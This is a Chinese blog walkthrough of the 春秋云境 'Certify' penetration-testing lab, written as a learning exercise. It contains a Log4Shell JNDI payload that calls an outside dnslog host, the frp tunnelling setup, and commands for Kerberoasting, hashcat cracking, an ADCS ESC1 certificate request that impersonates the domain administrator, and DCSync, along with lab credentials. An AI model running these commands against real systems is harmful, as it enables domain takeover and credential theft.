春秋云镜 Certify
春秋云境 Certify
域渗透·学习
再碰春秋云境已经过去好几个月了,偷偷吐槽一下感觉真心有点贵(
外网打点
首先用fscan
对靶机进行扫描,发现8983端口有solr
服务,打开网址查看
打开之后发现网站启用了log4j2
,可能存在JNDI
注入漏洞,CVE-2021-44228
。
漏洞的主要原理是log4j
开放了lookup
功能
1 | Log4j2的Lookup主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。 |
而lookup功能是可以支持jndi
的
1 | JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。 |
简而言之就是jndi
可以加载服务器的class
来运行恶意代码。
知道原理之后我们来进行一个简单的验证,打开www.dnslog.cn
,构造
1 | http://ip:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.ee7tg0.dnslog.cn} |
接下来就可以在dnslog.cn
收到solr
服务的java
版本。
由此看到确实存在jndi
注入漏洞,接下来就按照网站的文章进行复现就好了。
参考了一下这位师傅的文章
1 | https://www.cnblogs.com/meraklbz/p/18398600 |
成功反弹shell
之后发现是普通用户,需要提一下权,sudo -l
一下,发一下grc
可以无权限使用root命令,查了提权用法
可以获取到第一个flag
。
内网穿透
上次尝试了frp
但是一直没有成功,用了别的工具,这次重新学习加上高人指点,竟然轻松成功了。
首先在攻击机和靶机shell
上下载frp
,本机是服务端,靶机是服务端可以当作跳板机访问内网,简单配置一下frpc.toml
和frps.toml
ftps.toml内容
1 | bindPort = 7000 |
frpc.toml内容
1 | serverAddr = "vps ip" |
注意remotepor
t是我们访问内网服务是访问的端口。
简单配置一下proxychains4
就可以轻松开始进行渗透了。
smb 文件共享
在shell里面下载fscan之后,先查询一下地址,进行内网扫描
整理一下有用的信息
1 | 172.22.9.7 DC域控 |
发现在445端口有smb
文件共享服务,简单科普一下
1 | SMB(Server Message Block)文件共享服务是一种网络协议,主要用于在计算机网络中提供文件、打印机和串行端口等共享服务。它是一个应用层协议,允许在网络中的计算机之间共享文件、打印机以及其他资源。SMB协议通常运行在TCP/IP协议栈之上,默认端口为445。 |
可能存在未授权访问漏洞,使用脚本尝试连接
直接就连接成功了
在secret
下找到了flag02
,并且获取了personnel.db
文件get
命令下载这个db
文件之后在本机上打开,发现分别有一个表是用户名等信息,还有一个表是公开的密码和隐藏的用户名,联想到刚才的域成员机,可能可以进行rdp
远程桌面连接
将用户名和密码保存之后进行爆破,成功爆破出账号和密码
1 | zhangjian–i9XDE02pLVf |
尝试RDP,但是没有登陆成功
在flag02里面提示了spn,简单科普
1 | 在渗透测试中,SPN(Service Principal Name)是指用于唯一标识一个网络服务的字符串,它与Kerberos认证机制密切相关。SPN通常用于将一个服务(例如数据库、Web服务等)与一个特定的账户关联,以便在Kerberos身份验证中,客户端能够识别并正确地认证该服务 |
先枚举spn
1 | proxychains4 GetUserSPNs.py -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf |
我们可以通过脚本将spn返回的票据进行明文爆破,以获取到对应的明文
符合看了下hash类型,符合13100
保存spn爆破的凭证,用hashcat爆破出密码
1 | hashcat -a 0 -m 13100 spn.txt rockyou.txt |
可以成功rdp,但是权限不够我们需要管理员权限,下载了certify之后,扫描证书漏洞,发现ESC1
,这是一种 AD CS 漏洞,允许低权限用户申请高权限证书,最终伪造身份攻击 DC。
有三个条件则符合ESC1
1 | msPKI-Certificate-Name-Flag:ENROLLEE_SUPPLIES_SUBJECT |
可以申请 XR Manager
证书模版并伪造域管理员
1 | proxychains4 certipy req -u 'liupeng@xiaorang.lab' -p 'fiAzGwEMgTY' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab' |
申请证书之后获取 TGT 和 NTLM Hash
1 | proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7 |
使用 administrator.pfx 证书进行 Kerberos 认证,这是一种 Pass-the-Certificate(PTC) 攻击。
然后进行DCSync 攻击,获取窃取域控的 NTLM 哈希,获取整个域的控制权。
1 | proxychains4 certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7 2>/dev/null |
1 | DCSync攻击原理: |
然后进行横向,获取到最后两个flag
因为是windows的shell注意要用一些windows的命令,可以用type
1 | type 是 Windows 命令行中的一个命令,用于显示文件的内容 |
1 | type c:\users\administrator\flag\flag03.txt |